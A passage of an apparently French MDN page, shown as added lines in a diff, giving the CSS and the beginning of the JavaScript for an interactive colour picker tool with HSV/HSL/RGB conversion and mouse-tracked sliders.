+.ui-color-picker .alpha-mask {
+	width: 100%;
+	height: 100%;
+	background: url("https://mdn.mozillademos.org/files/6089/alpha_mask.png");
+}
+
+.ui-color-picker .slider-picker {
+	width: 2px;
+	height: 100%;
+	border: 1px solid #777;
+	background-color: #FFF;
+	position: relative;
+	top: -1px;
+}
+
+/* input HSV and RGB */
+
+.ui-color-picker .info {
+	width: 200px;
+	margin: 5px;
+	float: left;
+}
+
+.ui-color-picker .info * {
+	float: left;
+}
+
+.ui-color-picker .input {
+	width: 64px;
+	margin: 5px 2px;
+	float: left;
+}
+
+.ui-color-picker .input .name {
+	height: 20px;
+	width: 30px;
+	text-align: center;
+	font-size: 14px;
+	line-height: 18px;
+	float: left;
+}
+
+.ui-color-picker .input input {
+	width: 30px;
+	height: 18px;
+	margin: 0;
+	padding: 0;
+	border: 1px solid #DDD;
+	text-align: center;
+	float: right;
+
+	-moz-user-select: text;
+	-webkit-user-select: text;
+	-ms-user-select: text;
+}
+
+.ui-color-picker .input[data-topic="lightness"] {
+	display: none;
+}
+
+.ui-color-picker[data-mode='HSL'] .input[data-topic="value"] {
+	display: none;
+}
+
+.ui-color-picker[data-mode='HSL'] .input[data-topic="lightness"] {
+	display: block;
+}
+
+.ui-color-picker .input[data-topic="alpha"] {
+	margin-top: 10px;
+	width: 93px;
+}
+
+.ui-color-picker .input[data-topic="alpha"] &gt; .name {
+	width: 60px;
+}
+
+.ui-color-picker .input[data-topic="alpha"] &gt; input {
+	float: right;
+}
+
+.ui-color-picker .input[data-topic="hexa"] {
+	width: auto;
+	float: right;
+	margin: 6px 8px 0 0;
+}
+
+.ui-color-picker .input[data-topic="hexa"] &gt; .name {
+	display: none;
+}
+
+.ui-color-picker .input[data-topic="hexa"] &gt; input {
+	width: 90px;
+	height: 24px;
+	padding: 2px 0;
+	-moz-box-sizing: border-box;
+	-webkit-box-sizing: border-box;
+	box-sizing: border-box;
+}
+
+/* Preview color */
+.ui-color-picker .preview {
+	width: 95px;
+	height: 53px;
+	margin: 5px;
+	margin-top: 10px;
+	border: 1px solid #DDD;
+	background-image: url("https://mdn.mozillademos.org/files/5705/alpha.png");
+	float: left;
+	position: relative;
+}
+
+.ui-color-picker .preview:before {
+	height: 100%;
+	width: 50%;
+	left: 50%;
+	top: 0;
+	content: "";
+	background: #FFF;
+	position: absolute;
+	z-index: 1;
+}
+
+.ui-color-picker .preview-color {
+	width: 100%;
+	height: 100%;
+	background-color: rgba(255, 0, 0, 0.5);
+	position: absolute;
+	z-index: 1;
+}
+
+.ui-color-picker .switch_mode {
+	width: 10px;
+	height: 20px;
+	position: relative;
+	border-radius: 5px 0 0 5px;
+	border: 1px solid #DDD;
+	background-color: #EEE;
+	left: -12px;
+	top: -1px;
+	z-index: 1;
+	transition: all 0.5s;
+}
+
+.ui-color-picker .switch_mode:hover {
+	background-color: #CCC;
+	cursor: pointer;
+}
+
+/*
+ * UI Component
+ */
+
+.ui-input-slider {
+	height: 20px;
+	font-family: "Segoe UI", Arial, Helvetica, sans-serif;
+	-moz-user-select: none;
+	user-select: none;
+}
+
+.ui-input-slider * {
+	float: left;
+	height: 100%;
+	line-height: 100%;
+}
+
+/* Input Slider */
+
+.ui-input-slider &gt; input {
+	margin: 0;
+	padding: 0;
+	width: 50px;
+	text-align: center;
+
+	-moz-box-sizing: border-box;
+	-webkit-box-sizing: border-box;
+	box-sizing: border-box;
+}
+
+.ui-input-slider-info {
+	width: 90px;
+	padding: 0px 10px 0px 0px;
+	text-align: right;
+	text-transform: lowercase;
+}
+
+.ui-input-slider-left, .ui-input-slider-right {
+	width: 16px;
+	cursor: pointer;
+	background: url("https://mdn.mozillademos.org/files/5679/arrows.png") center left no-repeat;
+}
+
+.ui-input-slider-right {
+	background: url("https://mdn.mozillademos.org/files/5679/arrows.png") center right no-repeat;
+}
+
+.ui-input-slider-name {
+	width: 90px;
+	padding: 0 10px 0 0;
+	text-align: right;
+	text-transform: lowercase;
+}
+
+.ui-input-slider-btn-set {
+	width: 25px;
+	background-color: #2C9FC9;
+	border-radius: 5px;
+	color: #FFF;
+	font-weight: bold;
+	line-height: 14px;
+	text-align: center;
+}
+
+.ui-input-slider-btn-set:hover {
+	background-color: #379B4A;
+	cursor: pointer;
+}
+
+/*
+ * COLOR PICKER TOOL
+ */
+
+body {
+	max-width: 1000px;
+	margin: 0 auto;
+
+	font-family: "Segoe UI", Arial, Helvetica, sans-serif;
+
+	box-shadow: 0 0 5px 0 #999;
+
+	-moz-box-sizing: border-box;
+	-webkit-box-sizing: border-box;
+	box-sizing: border-box;
+
+	-moz-user-select: none;
+	-webkit-user-select: none;
+	-ms-user-select: none;
+	user-select: none;
+
+}
+
+/**
+ * Resize Handle
+ */
+.resize-handle {
+	width: 10px;
+	height: 10px;
+	background: url('https://mdn.mozillademos.org/files/6083/resize.png') center center no-repeat;
+	position: absolute;
+	bottom: 0;
+	right: 0;
+}
+
+[data-resize='both']:hover {
+	cursor: nw-resize !important;
+}
+
+[data-resize='width']:hover {
+	cursor: w-resize !important;
+}
+
+[data-resize='height']:hover {
+	cursor: n-resize !important;
+}
+
+[data-hidden='true'] {
+	display: none;
+}
+
+[data-collapsed='true'] {
+	height: 0 !important;
+}
+
+.block {
+	display: table;
+}
+
+
+/**
+ * 	Container
+ */
+#container {
+	width: 100%;
+
+	-moz-box-sizing: border-box;
+	-webkit-box-sizing: border-box;
+	box-sizing: border-box;
+
+	display: table;
+}
+
+/**
+ * 	Picker Zone
+ */
+
+#picker {
+	padding: 10px;
+	width: 980px;
+}
+
+.ui-color-picker {
+	padding: 3px 5px;
+	float: left;
+	border-color: #FFF;
+}
+
+.ui-color-picker .switch_mode {
+	display: none;
+}
+
+.ui-color-picker .preview-color:hover {
+	cursor: move;
+}
+
+/**
+ * Picker Container
+ */
+
+#picker-samples {
+	width: 375px;
+	height: 114px;
+	max-height: 218px;
+	margin: 0 10px 0 30px;
+	overflow: hidden;
+	position: relative;
+	float: left;
+
+	transition: all 0.2s;
+}
+
+#picker-samples .sample {
+	width: 40px;
+	height: 40px;
+	margin: 5px;
+	border: 1px solid #DDD;
+	position: absolute;
+	float: left;
+	transition: all 0.2s;
+}
+
+#picker-samples .sample:hover {
+	cursor: pointer;
+	border-color: #BBB;
+	transform: scale(1.15);
+	border-radius: 3px;
+}
+
+#picker-samples .sample[data-active='true'] {
+	border-color: #999;
+}
+
+#picker-samples .sample[data-active='true']:after {
+	content: "";
+	position: absolute;
+	background: url('https://mdn.mozillademos.org/files/6065/arrow.png') center no-repeat;
+	width: 100%;
+	height: 12px;
+	top: -12px;
+	z-index: 2;
+}
+
+#picker-samples #add-icon {
+	width: 100%;
+	height: 100%;
+	position: relative;
+	box-shadow: inset 0px 0px 2px 0px #DDD;
+}
+
+#picker-samples #add-icon:hover {
+	cursor: pointer;
+	border-color: #DDD;
+	box-shadow: inset 0px 0px 5px 0px #CCC;
+}
+
+#picker-samples #add-icon:before,
+#picker-samples #add-icon:after {
+	content: "";
+	position: absolute;
+	background-color: #EEE;
+	box-shadow: 0 0 1px 0 #EEE;
+}
+
+#picker-samples #add-icon:before {
+	width: 70%;
+	height: 16%;
+	top: 42%;
+	left: 15%;
+}
+
+#picker-samples #add-icon:after {
+	width: 16%;
+	height: 70%;
+	top: 15%;
+	left: 42%;
+}
+
+#picker-samples #add-icon:hover:before,
+#picker-samples #add-icon:hover:after {
+	background-color: #DDD;
+	box-shadow: 0 0 1px 0 #DDD;
+}
+
+/**
+ * 	Controls
+ */
+
+#controls {
+	width: 110px;
+	padding: 10px;
+	float: right;
+}
+
+#controls #picker-switch {
+	text-align: center;
+	float: left;
+}
+
+#controls .icon {
+	width: 48px;
+	height: 48px;
+	margin: 10px 0;
+	background-repeat: no-repeat;
+	background-position: center;
+	border: 1px solid #DDD;
+	display: table;
+	float: left;
+}
+
+#controls .icon:hover {
+	cursor: pointer;
+}
+
+#controls .picker-icon {
+	background-image: url('https://mdn.mozillademos.org/files/6081/picker.png');
+}
+
+#controls #void-sample {
+	margin-right: 10px;
+	background-image: url('https://mdn.mozillademos.org/files/6087/void.png');
+	background-position: center left;
+}
+
+#controls #void-sample[data-active='true'] {
+	border-color: #CCC;
+	background-position: center right;
+}
+
+#controls .switch {
+	width: 106px;
+	padding: 1px;
+	border: 1px solid #CCC;
+	font-size: 14px;
+	text-align: center;
+	line-height: 24px;
+	overflow: hidden;
+	float: left;
+}
+
+#controls .switch:hover {
+	cursor: pointer;
+}
+
+#controls .switch &gt; * {
+	width: 50%;
+	padding: 2px 0;
+	background-color: #EEE;
+	float: left;
+}
+
+#controls .switch [data-active='true'] {
+	color: #FFF;
+	background-image: url('https://mdn.mozillademos.org/files/6025/grain.png');
+	background-color: #777;
+}
+
+/**
+ * 	Trash Can
+ */
+
+#delete {
+	width: 100%;
+	height: 94px;
+	background-color: #DDD;
+	background-image: url('https://mdn.mozillademos.org/files/6025/grain.png');
+	background-repeat: repeat;
+
+	text-align: center;
+	color: #777;
+
+	position: relative;
+	float: right;
+}
+
+#delete #trash-can {
+	width: 80%;
+	height: 80%;
+	border: 2px dashed #FFF;
+	border-radius: 5px;
+	background: url('https://mdn.mozillademos.org/files/6085/trash-can.png') no-repeat center;
+
+	position: absolute;
+	top: 10%;
+	left: 10%;
+
+	-moz-box-sizing: border-box;
+	-webkit-box-sizing: border-box;
+	box-sizing: border-box;
+
+	transition: all 0.2s;
+}
+
+#delete[drag-state='enter'] {
+	background-color: #999;
+}
+
+/**
+ * 	Color Theme
+ */
+
+#color-theme {
+	margin: 0 8px 0 0;
+	border: 1px solid #EEE;
+	display: inline-block;
+	float: right;
+}
+
+#color-theme .box {
+	width: 80px;
+	height: 92px;
+	float: left;
+}
+
+/**
+ * Color info box
+ */
+#color-info {
+	width: 360px;
+	float: left;
+}
+
+#color-info .title {
+	width: 100%;
+	padding: 15px;
+	font-size: 18px;
+	text-align: center;
+	background-image: url('https://mdn.mozillademos.org/files/6071/color-wheel.png');
+	background-repeat:no-repeat;
+	background-position: center left 28%;
+}
+
+#color-info .copy-container {
+	position: absolute;
+	top: -100%;
+}
+
+#color-info .property {
+	min-width: 280px;
+	height: 30px;
+	margin: 10px 0;
+	text-align: center;
+	line-height: 30px;
+}
+
+#color-info .property &gt; * {
+	float: left;
+}
+
+#color-info .property .type {
+	width: 60px;
+	height: 100%;
+	padding: 0 16px 0 0;
+	text-align: right;
+}
+
+#color-info .property .value {
+	width: 200px;
+	height: 100%;
+	padding: 0 10px;
+	font-family: "Segoe UI", Arial, Helvetica, sans-serif;
+	font-size: 16px;
+	color: #777;
+	text-align: center;
+	background-color: #FFF;
+	border: none;
+}
+
+#color-info .property .value:hover {
+	color: #37994A;
+}
+
+#color-info .property .value:hover + .copy {
+	background-position: center right;
+}
+
+#color-info .property .copy {
+	width: 24px;
+	height: 100%;
+	padding: 0 5px;
+	background-color: #FFF;
+	background-image: url('https://mdn.mozillademos.org/files/6073/copy.png');
+	background-repeat: no-repeat;
+	background-position: center left;
+	border-left: 1px solid #EEE;
+	text-align: right;
+	float: left;
+}
+
+#color-info .property .copy:hover {
+	background-position: center right;
+}
+
+
+/**
+ * 	Color Palette
+ */
+
+#palette {
+	width: 1000px;
+	padding: 10px 0;
+	background-image: url('https://mdn.mozillademos.org/files/6025/grain.png');
+	background-repeat: repeat;
+	background-color: #EEE;
+	color: #777;
+
+	-moz-box-sizing: border-box;
+	-webkit-box-sizing: border-box;
+	box-sizing: border-box;
+}
+
+#color-palette {
+	width: 640px;
+	font-family: Arial, Helvetica, sans-serif;
+	color: #777;
+	float: left;
+}
+
+#color-palette .container {
+	width: 100%;
+	height: 50px;
+	line-height: 50px;
+	overflow: hidden;
+	float: left;
+	transition: all 0.5s;
+}
+
+#color-palette .container &gt; * {
+	float: left;
+}
+
+#color-palette .title {
+	width: 100px;
+	padding: 0 10px;
+	text-align: right;
+	line-height: inherit;
+}
+
+#color-palette .palette {
+	width: 456px;
+	height: 38px;
+	margin: 3px;
+	padding: 3px;
+	display: table;
+	background-color: #FFF;
+}
+
+#color-palette .palette .sample {
+	width: 30px;
+	height: 30px;
+	margin: 3px;
+	position: relative;
+	border: 1px solid #DDD;
+	float: left;
+	transition: all 0.2s;
+}
+
+#color-palette .palette .sample:hover {
+	cursor: pointer;
+	border-color: #BBB;
+	transform: scale(1.15);
+	border-radius: 3px;
+}
+
+#color-palette .controls {
+}
+
+#color-palette .controls &gt; * {
+	float: left;
+}
+
+#color-palette .controls &gt; *:hover {
+	cursor: pointer;
+}
+
+#color-palette .controls .lock {
+	width: 24px;
+	height: 24px;
+	margin: 10px;
+	padding: 3px;
+	background-image: url('https://mdn.mozillademos.org/files/6077/lock.png');
+	background-repeat: no-repeat;
+	background-position: bottom right;
+}
+
+#color-palette .controls .lock:hover {
+	/*background-image: url('images/unlocked-hover.png');*/
+	background-position: bottom left;
+}
+
+#color-palette .controls .lock[locked-state='true'] {
+	/*background-image: url('images/locked.png');*/
+	background-position: top left ;
+}
+
+#color-palette .controls .lock[locked-state='true']:hover {
+	/*background-image: url('images/lock-hover.png');*/
+	background-position: top right;
+}
+
+/**
+ * Canvas
+ */
+
+#canvas {
+	width: 100%;
+	height: 300px;
+	min-height: 250px;
+	border-top: 1px solid #DDD;
+	background-image: url('https://mdn.mozillademos.org/files/6025/grain.png');
+	background-repeat: repeat;
+	position: relative;
+	float: left;
+}
+
+#canvas[data-tutorial='drop'] {
+	text-align: center;
+	font-size: 30px;
+	color: #777;
+}
+
+#canvas[data-tutorial='drop']:before {
+	content: "Déposez vos couleurs ici";
+	width: 40%;
+	padding: 30px 9% 70px 11%;
+
+	background-image: url('https://mdn.mozillademos.org/files/6075/drop.png');
+	background-repeat: no-repeat;
+	background-position: left 35px top 60%;
+
+	text-align: center;
+
+	border: 3px dashed rgb(221, 221, 221);
+	border-radius: 15px;
+
+	position: absolute;
+	top: 50px;
+	left: 20%;
+}
+
+#canvas[data-tutorial='drop']:after {
+	content: "pour les comparer, les ajuster ou les modifier.";
+	width: 40%;
+	font-size: 24px;
+	position: absolute;
+	top: 130px;
+	left: 32%;
+	z-index: 2;
+}
+
+#canvas [data-tutorial='dblclick'] {
+	background-color: #999 !important;
+}
+
+#canvas [data-tutorial='dblclick']:before {
+	content: "double click pour activer";
+	width: 80px;
+	color: #FFF;
+	position: absolute;
+	top: 10%;
+	left: 20%;
+	z-index: 2;
+}
+
+#canvas .sample {
+	width: 100px;
+	height: 100px;
+	min-width: 20px;
+	min-height: 20px;
+	position: absolute;
+	border: 1px solid rgba(255, 255, 255, 0.3);
+}
+
+#canvas .sample:hover {
+	cursor: move;
+}
+
+#canvas .sample[data-active='true']:after {
+	content: "";
+	position: absolute;
+	background: url('https://mdn.mozillademos.org/files/6065/arrow.png') center no-repeat;
+	width: 100%;
+	height: 12px;
+	top: -12px;
+	z-index: 2;
+}
+
+#canvas .sample:hover &gt; * {
+	cursor: pointer;
+	display: block !important;
+}
+
+#canvas .sample .resize-handle {
+	display: none;
+}
+
+#canvas .sample .pick {
+	width: 10px;
+	height: 10px;
+	margin: 5px;
+	background: url('https://mdn.mozillademos.org/files/6079/pick.png') center no-repeat;
+	position: absolute;
+	top: 0;
+	left: 0;
+	display: none;
+}
+
+#canvas .sample .delete {
+	width: 10px;
+	height: 10px;
+	margin: 5px;
+	background: url('https://mdn.mozillademos.org/files/6069/close.png') center no-repeat;
+	position: absolute;
+	top: 0;
+	right: 0;
+	display: none;
+}
+
+
+/**
+ * Canvas controls
+ */
+
+#canvas .toggle-bg {
+	width: 16px;
+	height: 16px;
+	margin: 5px;
+	background: url("images/canvas-controls.png") center left no-repeat;
+	position: absolute;
+	top: 0;
+	right: 0;
+}
+
+#canvas .toggle-bg:hover {
+	cursor: pointer;
+}
+
+#canvas[data-bg='true'] {
+	background: none;
+}
+
+#canvas[data-bg='true'] .toggle-bg {
+	background: url('https://mdn.mozillademos.org/files/6067/canvas-controls.png') center right no-repeat;
+}
+
+#zindex {
+	height: 20px;
+	margin: 5px;
+	font-size: 16px;
+	position: absolute;
+	opacity: 0;
+	top: -10000px;
+	left: 0;
+	color: #777;
+	float: left;
+	transition: opacity 1s;
+}
+
+#zindex input {
+	border: 1px solid #DDD;
+	font-size: 16px;
+	color: #777;
+}
+
+#zindex .ui-input-slider-info {
+	width: 60px;
+}
+
+#zindex[data-active='true'] {
+	top: 0;
+	opacity: 1;
+}
+
+</pre>
+
+<h3 id="JavaScript_Content">JavaScript Content</h3>
+
+<pre class="brush: js">'use strict';
+
+var UIColorPicker = (function UIColorPicker() {
+
+	function getElemById(id) {
+		return document.getElementById(id);
+	}
+
+	var subscribers = [];
+	var pickers = [];
+
+	/**
+	 * RGBA Color class
+	 *
+	 * HSV/HSB and HSL (hue, saturation, value / brightness, lightness)
+	 * @param hue			0-360
+	 * @param saturation	0-100
+	 * @param value 		0-100
+	 * @param lightness		0-100
+	 */
+
+	function Color(color) {
+
+		if(color instanceof Color === true) {
+			this.copy(color);
+			return;
+		}
+
+		this.r = 0;
+		this.g = 0;
+		this.b = 0;
+		this.a = 1;
+		this.hue = 0;
+		this.saturation = 0;
+		this.value = 0;
+		this.lightness = 0;
+		this.format = 'HSV';
+	}
+
+	function RGBColor(r, g, b) {
+		var color = new Color();
+		color.setRGBA(r, g, b, 1);
+		return color;
+	}
+
+	function RGBAColor(r, g, b, a) {
+		var color = new Color();
+		color.setRGBA(r, g, b, a);
+		return color;
+	}
+
+	function HSVColor(h, s, v) {
+		var color = new Color();
+		color.setHSV(h, s, v);
+		return color;
+	}
+
+	function HSVAColor(h, s, v, a) {
+		var color = new Color();
+		color.setHSV(h, s, v);
+		color.a = a;
+		return color;
+	}
+
+	function HSLColor(h, s, l) {
+		var color = new Color();
+		color.setHSL(h, s, l);
+		return color;
+	}
+
+	function HSLAColor(h, s, l, a) {
+		var color = new Color();
+		color.setHSL(h, s, l);
+		color.a = a;
+		return color;
+	}
+
+	Color.prototype.copy = function copy(obj) {
+		if(obj instanceof Color !== true) {
+			console.log('Typeof parameter not Color');
+			return;
+		}
+
+		this.r = obj.r;
+		this.g = obj.g;
+		this.b = obj.b;
+		this.a = obj.a;
+		this.hue = obj.hue;
+		this.saturation = obj.saturation;
+		this.value = obj.value;
+		this.format = '' + obj.format;
+		this.lightness = obj.lightness;
+	};
+
+	Color.prototype.setFormat = function setFormat(format) {
+		if (format === 'HSV')
+			this.format = 'HSV';
+		if (format === 'HSL')
+			this.format = 'HSL';
+	};
+
+	/*========== Methods to set Color Properties ==========*/
+
+	Color.prototype.isValidRGBValue = function isValidRGBValue(value) {
+		return (typeof(value) === 'number' &amp;&amp; isNaN(value) === false &amp;&amp;
+			value &gt;= 0 &amp;&amp; value &lt;= 255);
+	};
+
+	Color.prototype.setRGBA = function setRGBA(red, green, blue, alpha) {
+		if (this.isValidRGBValue(red) === false ||
+			this.isValidRGBValue(green) === false ||
+			this.isValidRGBValue(blue) === false)
+			return;
+
+			this.r = red | 0;
+			this.g = green | 0;
+			this.b = blue | 0;
+
+		if (this.isValidRGBValue(alpha) === true)
+			this.a = alpha | 0;
+	};
+
+	Color.prototype.setByName = function setByName(name, value) {
+		if (name === 'r' || name === 'g' || name === 'b') {
+			if(this.isValidRGBValue(value) === false)
+				return;
+
+			this[name] = value;
+			this.updateHSX();
+		}
+	};
+
+	Color.prototype.setHSV = function setHSV(hue, saturation, value) {
+		this.hue = hue;
+		this.saturation = saturation;
+		this.value = value;
+		this.HSVtoRGB();
+	};
+
+	Color.prototype.setHSL = function setHSL(hue, saturation, lightness) {
+		this.hue = hue;
+		this.saturation = saturation;
+		this.lightness = lightness;
+		this.HSLtoRGB();
+	};
+
+	Color.prototype.setHue = function setHue(value) {
+		if (typeof(value) !== 'number' || isNaN(value) === true ||
+			value &lt; 0 || value &gt; 359)
+			return;
+		this.hue = value;
+		this.updateRGB();
+	};
+
+	Color.prototype.setSaturation = function setSaturation(value) {
+		if (typeof(value) !== 'number' || isNaN(value) === true ||
+			value &lt; 0 || value &gt; 100)
+			return;
+		this.saturation = value;
+		this.updateRGB();
+	};
+
+	Color.prototype.setValue = function setValue(value) {
+		if (typeof(value) !== 'number' || isNaN(value) === true ||
+			value &lt; 0 || value &gt; 100)
+			return;
+		this.value = value;
+		this.HSVtoRGB();
+	};
+
+	Color.prototype.setLightness = function setLightness(value) {
+		if (typeof(value) !== 'number' || isNaN(value) === true ||
+			value &lt; 0 || value &gt; 100)
+			return;
+		this.lightness = value;
+		this.HSLtoRGB();
+	};
+
+	Color.prototype.setHexa = function setHexa(value) {
+		var valid  = /(^#{0,1}[0-9A-F]{6}$)|(^#{0,1}[0-9A-F]{3}$)/i.test(value);
+
+		if (valid !== true)
+			return;
+
+		if (value[0] === '#')
+			value = value.slice(1, value.length);
+
+		if (value.length === 3)
+			value = value.replace(/([0-9A-F])([0-9A-F])([0-9A-F])/i,'$1$1$2$2$3$3');
+
+		this.r = parseInt(value.substr(0, 2), 16);
+		this.g = parseInt(value.substr(2, 2), 16);
+		this.b = parseInt(value.substr(4, 2), 16);
+
+		this.alpha	= 1;
+		this.RGBtoHSV();
+	};
+
+	/*========== Conversion Methods ==========*/
+
+	Color.prototype.convertToHSL = function convertToHSL() {
+		if (this.format === 'HSL')
+			return;
+
+		this.setFormat('HSL');
+		this.RGBtoHSL();
+	};
+
+	Color.prototype.convertToHSV = function convertToHSV() {
+		if (this.format === 'HSV')
+			return;
+
+		this.setFormat('HSV');
+		this.RGBtoHSV();
+	};
+
+	/*========== Update Methods ==========*/
+
+	Color.prototype.updateRGB = function updateRGB() {
+		if (this.format === 'HSV') {
+			this.HSVtoRGB();
+			return;
+		}
+
+		if (this.format === 'HSL') {
+			this.HSLtoRGB();
+			return;
+		}
+	};
+
+	Color.prototype.updateHSX = function updateHSX() {
+		if (this.format === 'HSV') {
+			this.RGBtoHSV();
+			return;
+		}
+
+		if (this.format === 'HSL') {
+			this.RGBtoHSL();
+			return;
+		}
+	};
+
+	Color.prototype.HSVtoRGB = function HSVtoRGB() {
+		var sat = this.saturation / 100;
+		var value = this.value / 100;
+		var C = sat * value;
+		var H = this.hue / 60;
+		var X = C * (1 - Math.abs(H % 2 - 1));
+		var m = value - C;
+		var precision = 255;
+
+		C = (C + m) * precision | 0;
+		X = (X + m) * precision | 0;
+		m = m * precision | 0;
+
+		if (H &gt;= 0 &amp;&amp; H &lt; 1) {	this.setRGBA(C, X, m);	return; }
+		if (H &gt;= 1 &amp;&amp; H &lt; 2) {	this.setRGBA(X, C, m);	return; }
+		if (H &gt;= 2 &amp;&amp; H &lt; 3) {	this.setRGBA(m, C, X);	return; }
+		if (H &gt;= 3 &amp;&amp; H &lt; 4) {	this.setRGBA(m, X, C);	return; }
+		if (H &gt;= 4 &amp;&amp; H &lt; 5) {	this.setRGBA(X, m, C);	return; }
+		if (H &gt;= 5 &amp;&amp; H &lt; 6) {	this.setRGBA(C, m, X);	return; }
+	};
+
+	Color.prototype.HSLtoRGB = function HSLtoRGB() {
+		var sat = this.saturation / 100;
+		var light = this.lightness / 100;
+		var C = sat * (1 - Math.abs(2 * light - 1));
+		var H = this.hue / 60;
+		var X = C * (1 - Math.abs(H % 2 - 1));
+		var m = light - C/2;
+		var precision = 255;
+
+		C = (C + m) * precision | 0;
+		X = (X + m) * precision | 0;
+		m = m * precision | 0;
+
+		if (H &gt;= 0 &amp;&amp; H &lt; 1) {	this.setRGBA(C, X, m);	return; }
+		if (H &gt;= 1 &amp;&amp; H &lt; 2) {	this.setRGBA(X, C, m);	return; }
+		if (H &gt;= 2 &amp;&amp; H &lt; 3) {	this.setRGBA(m, C, X);	return; }
+		if (H &gt;= 3 &amp;&amp; H &lt; 4) {	this.setRGBA(m, X, C);	return; }
+		if (H &gt;= 4 &amp;&amp; H &lt; 5) {	this.setRGBA(X, m, C);	return; }
+		if (H &gt;= 5 &amp;&amp; H &lt; 6) {	this.setRGBA(C, m, X);	return; }
+	};
+
+	Color.prototype.RGBtoHSV = function RGBtoHSV() {
+		var red		= this.r / 255;
+		var green	= this.g / 255;
+		var blue	= this.b / 255;
+
+		var cmax = Math.max(red, green, blue);
+		var cmin = Math.min(red, green, blue);
+		var delta = cmax - cmin;
+		var hue = 0;
+		var saturation = 0;
+
+		if (delta) {
+			if (cmax === red ) { hue = ((green - blue) / delta); }
+			if (cmax === green ) { hue = 2 + (blue - red) / delta; }
+			if (cmax === blue ) { hue = 4 + (red - green) / delta; }
+			if (cmax) saturation = delta / cmax;
+		}
+
+		this.hue = 60 * hue | 0;
+		if (this.hue &lt; 0) this.hue += 360;
+		this.saturation = (saturation * 100) | 0;
+		this.value = (cmax * 100) | 0;
+	};
+
+	Color.prototype.RGBtoHSL = function RGBtoHSL() {
+		var red		= this.r / 255;
+		var green	= this.g / 255;
+		var blue	= this.b / 255;
+
+		var cmax = Math.max(red, green, blue);
+		var cmin = Math.min(red, green, blue);
+		var delta = cmax - cmin;
+		var hue = 0;
+		var saturation = 0;
+		var lightness = (cmax + cmin) / 2;
+		var X = (1 - Math.abs(2 * lightness - 1));
+
+		if (delta) {
+			if (cmax === red ) { hue = ((green - blue) / delta); }
+			if (cmax === green ) { hue = 2 + (blue - red) / delta; }
+			if (cmax === blue ) { hue = 4 + (red - green) / delta; }
+			if (cmax) saturation = delta / X;
+		}
+
+		this.hue = 60 * hue | 0;
+		if (this.hue &lt; 0) this.hue += 360;
+		this.saturation = (saturation * 100) | 0;
+		this.lightness = (lightness * 100) | 0;
+	};
+
+	/*========== Get Methods ==========*/
+
+	Color.prototype.getHexa = function getHexa() {
+		var r = this.r.toString(16);
+		var g = this.g.toString(16);
+		var b = this.b.toString(16);
+		if (this.r &lt; 16) r = '0' + r;
+		if (this.g &lt; 16) g = '0' + g;
+		if (this.b &lt; 16) b = '0' + b;
+		var value = '#' + r + g + b;
+		return value.toUpperCase();
+	};
+
+	Color.prototype.getRGBA = function getRGBA() {
+
+		var rgb = '(' + this.r + ', ' + this.g + ', ' + this.b;
+		var a = '';
+		var v = '';
+		var x = parseFloat(this.a);
+		if (x !== 1) {
+			a = 'a';
+			v = ', ' + x;
+		}
+
+		var value = 'rgb' + a + rgb + v + ')';
+		return value;
+	};
+
+	Color.prototype.getHSLA = function getHSLA() {
+		if (this.format === 'HSV') {
+			var color = new Color(this);
+			color.setFormat('HSL');
+			color.updateHSX();
+			return color.getHSLA();
+		}
+
+		var a = '';
+		var v = '';
+		var hsl = '(' + this.hue + ', ' + this.saturation + '%, ' + this.lightness +'%';
+		var x = parseFloat(this.a);
+		if (x !== 1) {
+			a = 'a';
+			v = ', ' + x;
+		}
+
+		var value = 'hsl' + a + hsl + v + ')';
+		return value;
+	};
+
+	Color.prototype.getColor = function getColor() {
+		if (this.a | 0 === 1)
+			return this.getHexa();
+		return this.getRGBA();
+	};
+
+	/*=======================================================================*/
+	/*=======================================================================*/
+
+	/*========== Capture Mouse Movement ==========*/
+
+	var setMouseTracking = function setMouseTracking(elem, callback) {
+		elem.addEventListener('mousedown', function(e) {
+			callback(e);
+			document.addEventListener('mousemove', callback);
+		});
+
+		document.addEventListener('mouseup', function(e) {
+			document.removeEventListener('mousemove', callback);
+		});
+	};
+
+	/*====================*/
+	// Color Picker Class
+	/*====================*/
+
+	function ColorPicker(node) {
+		this.color = new Color();
+		this.node = node;
+		this.subscribers = [];
+
+		var type = this.node.getAttribute('data-mode');
+		var topic = this.node.getAttribute('data-topic');
+
+		this.topic = topic;
+		this.picker_mode = (type === 'HSL') ? 'HSL' : 'HSV';
+		this.color.setFormat(this.picker_mode);
+
+		this.createPickingArea();
+		this.createHueArea();
+
+		this.newInputComponent('H', 'hue', this.inputChangeHue.bind(this));
+		this.newInputComponent('S', 'saturation', this.inputChangeSaturation.bind(this));
+		this.newInputComponent('V', 'value', this.inputChangeValue.bind(this));
+		this.newInputComponent('L', 'lightness', this.inputChangeLightness.bind(this));
+
+		this.createAlphaArea();
+
+		this.newInputComponent('R', 'red', this.inputChangeRed.bind(this));
+		this.newInputComponent('G', 'green', this.inputChangeGreen.bind(this));
+		this.newInputComponent('B', 'blue', this.inputChangeBlue.bind(this));
+
+		this.createPreviewBox();
+		this.createChangeModeButton();
+
+		this.newInputComponent('alpha', 'alpha', this.inputChangeAlpha.bind(this));
+		this.newInputComponent('hexa', 'hexa', this.inputChangeHexa.bind(this));
+
+		this.setColor(this.color);
+		pickers[topic] = this;
+	}
+
+	/*************************************************************************/
+	//				Function for generating the color-picker
+	/*************************************************************************/
+
+	ColorPicker.prototype.createPickingArea = function createPickingArea() {
+		var area = document.createElement('div');
+		var picker = document.createElement('div');
+
+		area.className = 'picking-area';
+		picker.className = 'picker';
+
+		this.picking_area = area;
+		this.color_picker = picker;
+		setMouseTracking(area, this.updateColor.bind(this));
+
+		area.appendChild(picker);
+		this.node.appendChild(area);
+	};
+
+	ColorPicker.prototype.createHueArea = function createHueArea() {
+		var area = document.createElement('div');
+		var picker = document.createElement('div');
+
+		area.className = 'hue';
+		picker.className ='slider-picker';
+
+		this.hue_area = area;
+		this.hue_picker = picker;
+		setMouseTracking(area, this.updateHueSlider.bind(this));
+
+		area.appendChild(picker);
+		this.node.appendChild(area);
+	};
+
+	ColorPicker.prototype.createAlphaArea = function createAlphaArea() {
+		var area = document.createElement('div');
+		var mask = document.createElement('div');
+		var picker = document.createElement('div');
+
+		area.className = 'alpha';
+		mask.className = 'alpha-mask';
+		picker.className = 'slider-picker';
+
+		this.alpha_area = area;
+		this.alpha_mask = mask;
+		this.alpha_picker = picker;
+		setMouseTracking(area, this.updateAlphaSlider.bind(this));
+
+		area.appendChild(mask);
+		mask.appendChild(picker);
+		this.node.appendChild(area);
+	};
+
+	ColorPicker.prototype.createPreviewBox = function createPreviewBox(e) {
